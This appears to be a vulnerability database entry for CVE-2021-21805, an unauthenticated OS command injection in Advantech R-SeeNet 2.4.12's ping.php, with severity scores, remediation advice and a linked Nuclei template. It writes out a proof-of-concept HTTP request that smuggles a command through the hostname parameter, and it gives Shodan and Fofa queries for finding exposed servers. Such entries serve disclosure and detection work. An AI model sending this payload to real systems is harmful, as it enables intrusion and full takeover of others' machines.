| Title | Advantech R-SeeNet 2.4.12 - OS Command Injection |
|---|---|
| Author | arafatansari |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. |
| Remediation | Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91616 |
| CVE ID | CVE-2021-21805 |
| CWE ID | CWE-78 |
| Shodan Query | http.html:"R-SeeNet"http.html:"r-seenet" |
| Fofa Query | body="r-seenet" |
| Tags | cve2021 cve rce r-seenet advantech vkev vuln |
Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
GET /php/ping.php?hostname=|dir HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21805.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21805.pcap
N/AN/A